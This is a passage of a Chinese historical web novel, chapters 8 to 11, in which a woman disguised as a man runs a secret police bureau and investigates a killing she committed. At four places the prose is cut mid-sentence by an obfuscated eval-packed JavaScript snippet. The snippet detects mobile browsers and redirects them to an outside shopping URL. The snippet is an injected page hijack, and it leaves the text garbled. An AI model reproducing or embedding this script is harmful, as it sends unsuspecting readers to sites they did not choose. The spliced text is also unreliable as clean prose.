“这……此前不是听闻指挥使受伤,这才……”段逸文没想到说了一通最终绕到自己身上了,结结巴巴地开口。 “下官同北司上下,愿尽全力助段大人破案。”周筠说这话的时候,朝着谢怀澈躬身行礼。话,虽然是同段逸文说的,可最终还是要谢怀澈点头的。 谢怀澈对于周筠三言两语就把自己摘干净并不意外。看向段逸文应道:“既如此,那此案,便由大理寺同北司一起查吧,朕再给你们一月,一月之后,若未结案,提头来见。” 还未等周筠同段逸文应声,先一步被打断了。 “陛下,微臣以为,北司初立,且周指挥使还有涉案之嫌,恐不宜合办。”众人看向声音的源头,柳慈已然站至殿中。 谢怀澈并无不悦,抬眼看向柳慈,正色问道:“那依爱卿之见,当如何?” 在场之人,谁都知道的道理,谢怀澈又怎么会不明白。可既然是他提的,摆明了就想让北司快速渗入朝堂,谁又敢忤逆。 “御史台监察百官,若要合办,微臣,愿尽绵薄之力。” 话音未落,周筠回头看向柳慈,满眼震惊。柳慈小的时候就死板得很,自从被阿娘教育了女扮男装不能被人知晓,而柳慈又知晓这件事后一直心惊胆战。生怕哪日就被捅破了,死无葬身之地。所以被接回太师府之后便刻意同柳慈疏远了。没想到柳慈一直未说,但这件事是周筠的心病。 她没想到柳慈会主动管这件事,而且,还是以这样的方式。 “陛下,此等小事,倒也不必劳烦柳大人。御史台中,选一合适之人即可。” “那你觉得,谁人比柳大人更合适?”谢怀澈反问,有些疑惑周筠的反应这么大。 周筠一怔,站在原地说不出话来。 “那便依柳卿之见,此事,就这么定了。”谢怀澈拍板了,谁还敢说什么。 周筠虽然不痛快,但也只能躬身应了。从正阳殿出来,心里憋着一股气,一切的一切,现在都由不得自己。就连柳慈,也要在这种时候踩上一脚。 原本段逸文是个好拿捏的,如今柳慈也加了进来了。若是事情办砸了,她也别想活。她现在于谢怀澈而言,是一颗随时可弃的棋子,看来她跟柳慈之见,得有个了结了。 她快步往外走,压根没注意到身后的柳慈目光落在她身上。 才回北司,段逸文就让人送了赵天豪案相关的文书过来。都是些无关紧要的东西,毕竟,人是她杀的。若是真有什么实质性的证据,她压根没有机会在这里坐着。 她随意翻动了一下,叫住了正要离开的小厮:“这东西,可有送给御史大人一份?” “这,小的并不清楚。”小厮面露难色,略有些结巴道。 “回去吧。”周筠发话,将文书盖上,心里已经有了主意。 这还是她第二次来北司,她是指挥使,给她的屋子,看着倒是气派。 “兰生。”她叫了一声。 站在旁边的兰生偏头看向她,眉目之间满是疑惑。 “带我逛逛北司。” “哦。”兰生应下,将剑拿好,抬步就往外走。 周筠都已经习惯了,站起身跟着出去。上回看到的,只是北司的正堂。没想到,它的院子更大。院子里摆着各种练武用的东西,有不少人在练武。见周筠出来,纷纷停下朝她行礼:“大人。” 周筠点点头,摆了摆手示意他们继续。 北司里的分门别类比她想象中的还要精细,暗器库,毒药司,兵器库,竟还有单独的地牢。且地牢的面积并不小,看着,并不像是新建的,有使用过的痕迹。这里和那些暗卫,应该存在很久了。谢怀澈应当也是找个由头,让他们拥有一个名正言顺的身份。 有了大致了解之后,便跟兰生一起出去,走到廊道转角处,猛然听见对面漏花窗传了声音出来。 “前太师周潇?不是说全府都葬身火海了吗,怎么他的儿子还能做……” “这谁知晓,听闻如今是换了身份,成了太常寺少卿周毅之子,改名罄竹。” “罄竹,这名字倒是稀罕,罄竹难书,谁会取这样的名儿?” “谁说不是呢,那夜的雨,早不下,晚不下,偏偏待太师府都烧干净了才下。全盛京都传,是周潇满身罪孽,连老天爷都看不下去了。” “不过,听闻他身手了得,武艺超群。上回见着身形瘦小,一副病容。怕不是之前仗着周潇的权势吹捧出来的。” 兰生听到这,听不下去了,抬手掩嘴干咳了两声。那两人听见动静,朝着漏花窗瞧了一眼,看见周筠,吓得伏跪在地。 周筠背着手,走到他们的面前:“想知道我的身手如何,起来试试不就知道了吗?” “小的不敢,还望大人恕罪。” “若是能杀了我,我便饶你们不死。” 他们伏跪着皆是一愣,兰生也惊诧地看向她。周筠什么实力,他不知道,可他手下的暗卫什么实力,他再清楚不过。 “大人……”他刚开口,就对上了周筠的眼神。 他们身形差不多,周筠的眼睛轻敛着,极轻淡的一眼,什么都没说,但又像是什么都说了。兰生闭了嘴,不动声色地握紧了手上的剑。 “挑一件称手的。”到练武场边,周筠抽了一把最普通的剑,吩咐道。 那两个暗卫站着互相看了一眼,交换了眼神,瞬间变得狠厉起来。转眼就拿了旁边架子上的横刀同长鞭。 因着他们要比试,在训练的暗卫都退到了旁边看着。得知是死局,他们有些兴奋,毕竟身在局外。上位者想要他们死,不过是动动嘴皮子的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381852|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。哪里会像周筠这样,以命相搏。 上次杀赵天豪的时候,周筠就知道,他们不是泛泛之辈。但她,也不是吃素的。 长鞭挥过来时,周筠侧身避开的同时,抬剑将长鞭斩成了两半。与此同时,另外一个人提着横刀已至她的身后。 兰生手上的剑,已经出鞘了。下一秒,手上一点温热,低眉一看,鲜红的血,落在了他的虎口上。紧接着是兵刃落地的声音,再抬眼时拿着横刀的那人已经被封了喉,双眼瞪大,脖子上喷射出大量鲜红的血,大抵是血入了喉,他的喉咙里还发出“噗嗤噗嗤”的声响。 在场的都是死人堆里爬出来的,见惯了这种场面,丝毫不怵。倒是那个拿着长鞭的,瞧见同伴这么快死了,一时乱了阵脚。心一横,拿了旁边架子上的长枪朝着周筠刺过来。众人就见周筠腰一软,眨眼的功夫,已经立于那长枪之上。 兰生的眼里也透出几分诧异,原本以为他就是有名无实的公子哥,现下看来,倒是真有两把刷子。这样好的轻功,暗卫营里,也挑不出几个。 周筠足尖微微用力,将那长枪生生踩断折成两段,持枪的人,被她的力震得往后退了好几步。他的功夫,比方才死的那位好一些。举着断了的长枪,还同她打了两个来回。剑最终精准地刺进他的心脏时候,周筠也松了手。那剑,就随着他被抽力的身体缓缓倒下。 “大……大人”他死之前,似乎还有话要说,只是最后一口气抽离得猝不及防,只来得及说完这两个字。血瞬间洇湿了地上的黄土,同方才那个人的血连成一片,像是一朵绽放的红牡丹。而周筠,身着绯色的官服,站在正中的位子上。 不知道为什么,明明是毫不相干的场景和人,他看着周筠的样子,竟想到鹤。 周筠并未看他,只是抬眼冷冷地扫了一圈在场的所有人,低声吩咐:“打扫干净,继续练吧。” “是。”众人应声,脸上显然多了几分骇色。没想到周筠看着瘦弱,杀起人来,连眼睛都不眨一下。 周筠往廊道走,走动的时候才发觉官服脏了,下摆的地方有一片血迹,大抵因为官服是绯色的,不仔细看看不出来。 “让人给我拿一身干净的衣裳。”周筠话落,转而又道,“等等,找一身玄色的。” 兰生脚步顿住,不明所以,但应声:“好。” —— 入夜,周筠穿着那身玄色的衣裳,揣着白日里段逸文给的文书打开了房门。看见兰生的时候,先是一愣,接着是无比晦气。 今夜月光很好,清晖正好穿过廊檐洒落在周筠的脸上。他又穿着一身玄色,愈衬得一张脸玉色无双。 兰生凝了片刻,有些不自然地移开了目光。 “你都不用休息的吗?”周筠皱眉,一脸无奈地看向他。 “属下职责所在,不敢懈怠。” “你要跟便跟着,别被人发现了。” 此话一出,兰生更好奇周筠这三更半夜的要去哪儿了。 9. 第九章 正愣神的时候,什么东西飞了过来,他抬手接住,一块黑布。顺着看过去,周筠已经蒙了面。朝他使了一个眼色。 他抬手,也将面蒙上,嘀咕了一句:“神神秘秘的。” 话音未落,前面的人已经不见了。抬眼往上,周筠已经站在了屋檐上。 周筠看着他飞身而起,嘴角一勾,足尖轻点,一翻身,已经到了另一边的屋檐之上。 兰生跟上,天地广袤,琼楼玉宇,两个身影若轻燕而过。只有足尖轻点青瓦的声音。 周筠的轻功,兰生是见识过的,所以这会儿并不讶异。他跟在周筠的身后跟得很紧,生怕跟丢了。 她穿着白日里给她备的玄色衣衫,蒙着面,长发用一支素银簪子簪起。身姿轻盈利落,圆月就在她的身前。兰生蓦然想到了从前,在暗卫营时的日子。暗卫本就见不得光,只得在山间特定的地方训练。山间人迹罕至,月亮都似这般又大又圆又亮,暗卫营的人是不少,可都是敌人。他们,只有踩着对方的尸体才能活下去,入夜,在睡梦中死去的人不在少数。 “唰!”拳头过来的时候,兰生猛地避开,看清是周筠。愣了半晌,接着侧身接住了她的另外一掌。 周筠似乎猜到了他的招式,兰生就看见她眉眼一弯,身子猛地往下一蹲,另外一只手撑在青瓦上,朝着他的腿扫过来。兰生眉头一皱,往后翻了一个跟斗。 待站定的时候,就看见周筠飞快离开的背影,他提气跟上。 周筠听见背后的动静,有些不耐烦地啧了一下,她没想到兰生会这么难缠。看见下面巡逻的侍卫,回过头,腰往后一软。兰生这时候,已经心生戒备,很轻易地挡住了她踢过去的腿。 “谁!”下面巡逻的侍卫听见动静,看向他们,呵道,“谁在那儿?” 兰生被分了神,迎面一掌,被打得往后退了两步。再抬眼时,对面的人,已经不见了。现在反应过来,已经太迟了。还是松懈了,他没想到周筠留了这么一手。这里是盛京的中心,即便夜深,依旧有巡逻的侍卫。周筠是一早就准备好了要甩开他,如今再要找她,怕是找不到了。 兰生站在高高的屋檐上,俯瞰了一眼整个盛京城,有些懊悔地深叹了一口气。 下面的侍卫已经团团围在了屋檐下,火光簇簇。 “下来!”领头的侍卫已经拔出了佩剑,剑尖指着兰生。 兰生正一肚子气没出撒,翻身下去,一脚就踹在了那领头侍卫的身上。那侍卫哪里想到他这么嚣张,毫无防备地被踹倒在地。一瞬间,围着的侍卫嗅到了危险的气息,纷纷拔了剑出来,将兰生围住。 兰生摸出腰间的令牌,冷冷瞥了他们一眼,其中一个人在领头侍卫的示意下大着胆子凑近令牌仔细看了看。 “头儿,是北司的……”说完这话之后,领头的略惶恐地站起身,谁不知道,北司如今,如日中天,他笑了笑道,“小人有眼无珠,不知是大人,还望大人恕罪,您看,小的有什么能帮上忙的?” “滚。”兰生吐出这个字。 领头的那个侍卫见情势不对,招了招手,一大群人,顷刻间就散了。兰生看着他们离开,迟疑了一会儿,也朝着皇宫的方向去。 甩开了兰生,周筠觉得自在多了,整日跟着,一点自由都没有。她顺着街道走,很快就摸到了御史邸。到门口,周筠才想起来一件事,知道他的府邸,不知道他在哪不是白搭。 眼睛一转,很快就有了主意,足尖轻点,就进了院子。 如今夜深,院子里并没有人,周筠原本紧张的心,也松了些。沿着廊道摸索,听见动静,踩着墙壁就上了房梁。 “如今已经二更天了,大人还未歇下吗?” “是,方才已经沐浴过了,不知为何,又去了书房,还叫了一壶茶。” 周筠听见这话,看了一眼两个人,其中一个丫鬟手上就端着一壶茶,于是远远地跟在她们身后。看着她们进了屋,接着又端了空的托盘出来。 屋里的烛光一晃一晃的,明明暗暗。外头并没有人守着,所以她很轻易地就进去了。 屋里的陈设同她想象的差不多,紫檀嵌石屏风,旁边是一条紫檀的条桌,配着圈椅。屏风往后是墨绿色的轻纱,翡翠玉石做的珠帘青白相间。周筠大大方方地扯下蒙面的布,掀开珠帘往里走。屋里焚了香,很淡,方才在外头不觉得,进去了一股百濯的味道。 此香淡,但一经沾染,历年弥盛,百浣不歇。 “来了。”柳慈清朗的声音响起。 周筠闻声,掀开珠帘,珠帘的声音叮当作响,抬眼就看见柳慈坐在桌前,一身浅青色织锦外袍,绣着翠竹,竹叶的尖尖,嵌着小粒的珍珠。在烛光下,闪着细光显得贵气无双。鸦黑的发披散在身后,眉目如远山,没了白日里朝堂上的锐气,加上烛光笼着,整个人看着,温润如玉,贵气无双。 柳慈抬眼看过去,周筠一身玄色鹤纹外袍,长发高束,袖子用箭袖束着,腰间还别了一把短刃。她扮男子太久了,举手投足之间,尽是少年的爽利和英气。可柳慈知道她是女子,所以即便她装得再像,也难将她视为真正的男子。 “来得正好。”柳慈说着,抬手斟了一杯茶,放到了自己的对面。目光对上周筠的,招呼道,“坐。” 很奇怪的一种感觉,周筠说不上来,明明已经刻意疏远避开柳慈那么多年了,可他好像没有丝毫生疏的感觉。 周筠也不跟他客气,坐下,将面巾随手放到桌上,拿起茶盏,吹了吹,一饮而尽。跑了那么久,是有点渴了。 周筠摸出腰间的文书,放到桌上。 “这是?”柳慈抬眼。 “段逸文送过来没用的文书。”周筠莫名老实地应声。 柳慈嘴角弯了弯,顾左右而言他:“你的伤,怎么样了?” “你管得会不会多了些?”周筠呛声。 “听闻午后还在北司处置两个人,看来是已经好的差不多了。”柳慈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381853|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端起茶盏,轻抿了一口。 “御史大人的消息,还真是灵通啊。”周筠讥讽道。 “那是自然。”柳慈丝毫不避讳,淡淡地应道。 周筠无语。 “你又不是第一日认识我。” 不是第一日认识,但确确实实是很久未接触了。她这些年对柳慈的了解,全都是从旁人的口中。他参了谁的折子,又或者是在朝堂上直言相谏。朝堂中青年才俊不少,相貌出众的也不少,可像柳慈这样年纪轻轻就身居高位的,确实不多。加之柳家现下只剩他一个独子,又未曾婚配,落在他身上的目光,自然多一些。 原以为他的性子变了许多,没想到,是一点没变化。才讲了几句话,莫名熟悉的感觉便开始在屋里蔓延。 “这件事,你最好不要插手。”周筠开口说正事,神色严肃。 段逸文好糊弄,只要柳慈不插手,事情就会变得简单许多。反之,若是柳慈真的一根筋,那么,就会变得非常棘手。 “我现下已然入局。”柳慈应声。 周筠皱眉,神色略有不悦,站起身,想了想,倾身过去低声道:“你信不信,我真的会杀了你。” 他的身上,百濯香的味道比较重,旁边的烛烟腾腾而上,在两个人之间萦绕。 柳慈微抬眼,就对上了周筠满是杀气的眼睛,戏谑道:“现在就可以。” 柳慈的瞳仁很黑,加之她又是居高临下的,一张人畜无害的脸,眉眼带笑地吐出这样轻飘飘的话。其实他们两个人心里都很清楚,柳慈现在还不能死。她现在的地位不稳,柳慈要是死了,只会雪上加霜。毕竟他也算得上是一个知根知底的敌人。 周筠往后退,转过身,在她转身的时候,柳慈眼里的失落连同烛火跃动的影子一起慢慢放大。 “正门无人。”柳慈的声音从背后传过来。周筠脚步顿了顿,朝着正门走去。 门打开,屋里的百濯香味被冲淡了许多,柳慈的目光落在了桌上那块黑布上。 打开她拿过来的文书,其实段逸文已经把所有的线索都给她了,但是没什么用。线索在凶手的手上,只会什么都查不出来。 周筠出了门,才想起来蒙面的黑布落了。犹豫着回头看了一眼,想了想还是作罢。摸黑回到周府,很奇怪,倒是没看见兰生。按理说,他的功夫不应当会被几个侍卫拦住。且不说她在御史邸还费了一些时辰。仅仅一瞬,周筠便回了屋。一个身手极好的暗卫,还轮不到她担心。 翌日,周筠洗漱好出门,就瞧见一个陌生的男子在门前站着,似乎等了许久。年岁看着不小,皮肤略黑,神情淡然严肃,看着有几分眼熟,像是北司的人。 看见周筠打量的目光,那人先一步躬身行礼道:“属下见过周大人。” “你是?” “属下照影,这两日暂时顶替兰大人的位子。” “他怎么了?” 周筠开口,就见他一副欲言又止的样子。 10. 第十章 “兰大人……兰大人昨夜里受了刑。” 周筠了然:“他人呢?” “在北司别院。” 柳慈昨夜并未明确地应承,以他的性子,这件事,怕是不会轻易答应,她得早做准备才是。 正想着,照影已经跟在身后了。突然换了一个人,还真有些不习惯。 下了朝,已然晌午,回北司的路上,周筠想着要不要弄点什么东西补偿一下兰生。毕竟,是要长久跟在她身边的人,若是闹得太僵了,对她没有半点好处。 不知不觉已经到了北司,下了马车,门前站着个卖糖葫芦的老头。她只在很小的时候吃过糖葫芦,后来被接回太师府之后,就再也未碰过了。虽说兰生是暗卫,但到底,还是个小孩。 “大人。”照影见周筠站着,低声唤了一声。 周筠闻声不觉,朝着那老头走。她长得贵气,身上又穿着官服,面无表情地靠近那老头。 那老头察觉到了,忙举起稻草把子准备离开。 “诶,来串糖葫芦。”周筠见他要走,出声道。 老头同照影都一脸震惊地看着周筠,老头半信半疑,从草垛上拿起一根递给周筠。周筠则摸出一块碎银子,递到那老头的手心。 老头刚要说什么,周筠已经转身进了北司。 照影琢磨不透她的心思,只老老实实地跟着。直到进了别院。 “不必跟着了。”周筠开口。 “是。”照影看着周筠推开房门进去,才转身离开。 周筠才踏入屋里,迎面就飞过来一只水杯,周筠微微侧身,水杯落地,碎片连同茶水飞溅,落在她的绯服上,将颜色染深了好些。 “兰大人好大的脾气。” 兰生听清声音,一怔,转过身看向周筠。 周筠的视线落在他身上,中衣的系带并未系,露出大片雪白的皮肤,精瘦又布满了新伤旧痕。 屋里的陈设简单得出乎意料,一张桌,一板椅,一铺床,旁的,什么都没有了。 兰生先是诧异,接着是带起几分怒意,目光落在她手上的糖葫芦上:“你怎么过来了?” 他的心里还憋着一股气,若不是昨日周筠耍了他,他又怎么会受罚。 周筠走到兰生面前,将糖葫芦递过去。兰生抬眼,看向周筠。 “给你的。”周筠开口。 兰生当即有些别扭,不知道周筠怎么突然改了性子,而且,送糖葫芦,感觉也有点怪怪的,就像是哄小孩子? “小孩子的玩意儿,我才不要。” “放心吧,没下毒。”周筠见他的样子,出声道。 说话的时候,无意间瞥见他身后的中衣被血染红了,一条一条的血痕,深深浅浅,看着很瘆人。 “你的背?” 兰生听周筠提到这茬,撇了撇嘴,沉默不语:“还不都是因为你……” “还是跟我回周府吧,这儿一个服侍的人都没有,回周府好歹有人给你上药。”周筠说着,似是想起什么,“我那儿还有上好金疮药。” 兰生虽然还在置气,但周筠说的也不是没道理,点了点头,算是应了。 周筠走之前,将糖葫芦塞到兰生手上,煞有介事地问了一句:“那个照影,可信吗?” “怎么?”兰生反问。 “想让他办一点事。” “大人这话的意思,我才可信?” 周筠微抬眼皮,探究地看向他,兰生略稚嫩的脸上,透出几分得意的神情。 “自然。”周筠顺着他的话说下去。 “你也太容易轻信旁人了,我左不过才跟了你几日罢了。”兰生应声的同时,又低声补了一句,“不过可不可信的,大人现下,也没有别的选择不是吗?” 他这话说的在理,不似平日里的尖锐,倒像是感慨。周筠就站在他跟前,明明还是那张略稚气的脸,脸上得意的神情已然如浮云消散。 待周筠离开,兰生咬了一口手上的糖葫芦,被酸到了,轻皱了皱眉。 兰生从来没吃过糖葫芦,在暗卫营长大的,能吃上一口干净的饭,已是奢求。哪里还有这种哄小孩子的玩意儿。后来出了暗卫营,早就过了吃糖葫芦的年纪。他上街的时候,也撞到过小孩子拿着糖葫芦蹦蹦跳跳的,他也想过糖葫芦,究竟是什么味道。原来是这样又酸又甜的味道。 将夏的雨来得急,几声闷雷,几道闪电之后,雨便如碎珠噼里啪啦地撒了下来。 沉闷的天气,总算是有了个宣泄的口子。 照影过来的时候,周筠正沐浴好。墨黑的发未干,及腰披散着。一张脸,在烛火的映衬下,棱角分外明晰,丹凤眼,如扇睫,薄唇。像女子,又更像男子。那一瞬间,照影也有些恍了神。 周筠早就听见了动静,疑惑他半晌不出声,终于忍不住:“查得怎么样了?” “回大人,都在这了。”照影说着,将手上的东西递过去。 察觉到他带过来湿意,周筠顺着看过去,他身上湿了好些。 “快回去换身衣裳吧。” “嗯。”照影应声,正要转身出去时,被周筠叫住了。 “等等。” 他侧过身,迎面就飞过来一个小瓶子,他下意识地伸手接过。 “金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381854|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疮药,顺带给兰生带过去。” “是。”照影应下,推门出去。 待他出去,周筠打开了他拿过来的东西。盛京的地图,赵天豪的政敌,还有大燕的山匪寨子。 按照现下的情况,能把罪名安上的,只有这两个地方了。她把地图展开了一些。然后她发现,赵天豪最大的政敌,萧笙,在幽州,而盛京到幽州的途中,正好有一个龙头寨。 看来这幽州,是非去不可了。想到这,周筠突然想到周祁闻,顿时觉得有些晦气。若是要去幽州,免不了要跟周祁闻有接触。 “紫槿。” “公子有何吩咐?” “让照影过来。” “是。” 紫槿闻言转身出去,兰生恰好上好药从屋里出来。看见紫槿神色匆匆的模样,开口问道:“干什么去?” “兰大人。”紫槿见是兰生,躬身行礼,“公子让奴婢去叫唤照影大人。” “哦。”兰生低眉思索了一会儿,“你回去吧,我去唤他。” “这……”紫槿为难片刻,旋即应道,“那便麻烦大人了。” “大人。” 周筠看见兰生和照影一起出现时,倒是有几分疑惑,她方才叫的好像是照影。 “大人唤属下,有何吩咐?” “明日,哦不,今夜就让人去段逸文府上,让他明日一早,同我们一起启程去幽州。” “是。”照影应声,迟疑地开口问,“那,柳大人那边?” “不必理会。”照影闻声退下。 “有事?”周筠挑眉,看向站在面前的兰生。 “我的伤不要紧,明日我要跟你们一同去。” “随意。” —— 昨日的雨下了一整夜,白日也没有要停的迹象。 周筠不喜欢穿蓑衣,虽然骑马快,便备了马车。兰生后背还伤着,于是便松了口共乘。 马车还未出盛京城,便停下了。 “怎么了?”兰生看了一眼周筠,开口问道。 “大人,御史大人在前头。” 听见这话,周筠心里咯噔一下,抬手掀开马车帘子。 柳慈就站在马车前,一身青竹色锦衣,在蒙蒙烟雨中,如松竹。他遥遥对上周筠的眼睛:“来得匆忙,并未乘马车,周大人不介意共乘吧?” “可惜,马车已坐不下了。” “挤一挤也无妨。” 后头的段逸文正要开口招呼,听见柳慈这话,了然地闭了嘴。 马车前帘被拨开,湿凉之气顺着破口流进来,冲散了轿厢内的闷热之感。 11. 第十一章 原本还算得上宽大的轿厢,在柳慈进来之后,变得有些逼仄起来。周筠有些烦得看了柳慈一眼,站起身出去。 “你们乘吧,我去段逸文那儿挤一挤。”周筠掀开车帘跳下马车,留下柳慈同兰生大眼对小眼。 段逸文见周筠上了他的马车,有些结巴地开口:“周大人,您怎么?” “不欢迎?”周筠反问着坐下。 “没有没有,能与大人共乘,是小人之幸。” 段逸文现在有些后悔,刚刚怎么没叫柳慈上来,毕竟比起脾性难以琢磨的周筠,谁不喜欢温文尔雅的柳慈。段逸文这么想着,微微抬眼去瞥周筠,他今日穿了一身玄色骑装,利落的骑装,愈衬得他一张脸凌厉。 周筠闭眼假寐,心里则是盘算着,到幽州之后,该如何做。 杀人,要的是动机、人证、物证。 山匪是可以杀人越货,虽然龙头寨距离盛京城郊的距离算不上远,可,山匪的胆子再大,犯不着跑那么远,在盛京的眼皮子底下做这些事,这件事仔细想想,确实太过牵强了。 周筠想到这,脑子里突然闪过一个念头。城郊,为什么谢怀澈会选在城郊。她能想到的事情,谢怀澈就想不到吗。出城杀赵天豪那日那么大张旗鼓,摆明了就是昭告天下,人是北司杀的。可他现在又让她去查赵天豪之死,为什么?谢怀澈一早就想好了,除了山匪,她能找的,只有幽州刺史萧笙。 “段大人。” “诶。”段逸文突然被叫,应声道。 “幽州刺史萧笙,不知你是否相识?”周筠试探着开口。 “下官初入大理寺时,听闻过萧大人。只不过,在京中没几年,萧大人便右迁至幽州了。下官对萧大人,知之甚少。” 段逸文这样说,周筠也就不再问了。不过她现在倒是可以确定,谢怀澈,是有目的地让她去幽州。 “我们去幽州这件事,还望段大人莫要多言。”周筠不放心地交代道。 段逸文了然,点了点头:“那是自然。” —— “雨下得太大了,天又暗得快了,赶了两天路大家伙儿应当都累了。前面就有个驿馆,不如,我们今夜就在驿馆里将就一夜。明日一早再赶路吧?”段逸文掀开马车帘子,看着窗外滴滴答答的雨出声提议道。 “嗯。”周筠应声,吩咐旁边随行的属下。 下着雨,前不着村后不着店的,驿馆外头有好些马同马车停着,属下撑着伞靠近,周筠下马车。 柳慈同兰生也正好从马车上下来。 只一眼,周筠并未停留,抬步往驿馆里去。 这会儿天已经暗了,外头的光线暗,又隔着雨幕,只能隐隐看见人的轮廓。他们人多,黑压压地一片。周筠先一步进去,小二见来人,一摆手巾,吆喝道:“几位客官,敢问是打尖还是住店啊?” “住店。”段逸文应声。 段逸文的话音才落,身后跟着的人,也都进了驿馆。店小二瞧见那么多人,愣了愣。周筠同段逸文的样子,一看就是非富即贵,且进来的人,个个面上都有些许杀气。有些哆嗦地叫了掌柜的出来。 掌柜见这阵仗,堆出一个笑来,伸手比了比正在用晚膳的客人:“几位贵客,真不好意思,今日客人多,小店的客房怕是住不下这么多客人。” 周筠看了一眼旁边的兰生,兰生会意,摸出钱袋子,拿出一锭金子递过去。 “能住下吗?”周筠反问。 掌柜的瞧见金锭,眼睛亮了,但旋即还是抱歉地笑了笑:“那些客房,都已经订出去了,真的没有多余的客房了,还望几位贵客见谅。” 周筠的剑已经快出鞘了,被柳慈按了回去:“既如此,我们便挤一挤吧。” 周筠也知道,这个节骨眼,闹出动静来不合适。 “剩下的客房全包了,拿些好酒好菜上来。”兰生将金子丢过去,吩咐道。 “带路。” “好嘞。”掌柜的喜笑颜开,小心翼翼地将金子收到怀里,带着他们上楼。 驿馆开得时日久了,加之连日阴雨,空气中总有一股淡淡的霉味。众人跟着一起上楼梯时,楼梯还会发出吱吱呀呀的声音。 挤一挤,她也只能跟柳慈挤。 连着赶了两天的路,腰酸背痛的,周筠也不客气,坐下给自己斟了一杯热茶,抬眼看向柳慈:“我睡榻上,你睡地上。” 她没有焚香的习惯,方才不觉,这会儿关了门,屋里盈着淡淡的百濯香。 “好。” 柳慈应得太过自然,周筠倒是有几分不好意思起来。 “笃笃笃。” “客官,酒菜来了。”小二的声音从门前传出来。 “进来吧。”柳慈应声。 小二将酒菜摆到他们面前,炙猪肉、卤牛肉、鲜蘑菜心、酱油毛豆、花生米,算不上什么好菜,但闻着极香。 柳慈坐下,给周筠斟了一杯酒,接着给自己斟了一杯。正要抬手喝的时候,被周筠叫住了。 “等等。” 柳慈疑惑,周筠摸出银针,试了试,银针并未变色。 “周大人心思缜密,下官佩服。” 周筠无语:“边上没人,倒也不必整这些有的没的。” 柳慈笑了笑,端起酒杯。百濯的味道随着他的动作轻轻浮动。 几杯酒下肚,连日的疲惫被一扫而光。如果可以沐浴的话就更好了。虽然下雨,凉快了一些,但行车途中,一直闷在狭小的轿厢内,难免有汗。身上黏腻不说,还会闷出一点味道。 “幽州刺史萧笙,可不是好惹的主。” 周筠正欲饮尽杯中酒,柳慈突然开口。听见柳慈这话,玩味地抬起眼皮,看向他。 他们面对面坐着,桌子的正中点着两支烛火,这会儿的周筠已经喝了好几杯了,她喝酒不上脸,但眼尾同唇明显红了。柳叶眼,如扇睫,眉故意修得很锋利,红红的眼尾,衬得一张脸柔和妩媚了不少。 烛光不算亮,但正好盈盈照在她的脸上,一跃一跃的。周围很安静,只依稀能听见楼下宾客饮酒划拳的声音。那声音远,朦朦胧胧的,愈衬得屋里安静。 两个人的呼吸,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381855|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰可闻。 “御史大人真是料事如神啊。” “周大人过誉了。”柳慈应得风轻云淡,还扯出一抹笑来。 周筠仔细地端量柳慈,约莫是喝了酒,心境也同平日不一样,正要开口,被柳慈打断了。 “待会让小二打些热水来吧。” “嗯?哦。”周筠回过神来,有些别扭地开口,“多谢。” 泡进浴桶里的时候,周筠感觉整个人舒展开了,因为害怕,她熄了一支烛火,屋里的光线更暗了。她快速沐浴完,穿好外裤,正准备裹胸的时候,突然听见了窗外的动静。 周筠心下一惊,快速裹紧裹胸,伸手去拿中衣,刚拿到中衣,窗子就被撞开了。周筠快速地披上中衣,系好带子。借着微弱摇晃的烛光,看清了来人。 来的还不止一个,皆穿着黑衣,蒙着面。外头湿凉之气,被他们裹挟着带入屋内。他们手上的剑,泛着幽幽寒光。 见这架势,都不需要开口问,就知道他们是来干什么的。 周筠扫了一眼,她的剑就在稍远处的桌上放着。在他们提剑靠近的时候,周筠一个翻身,抽出剑鞘里的剑,架住了对面的剑,金属的碰撞,锋利幽长。 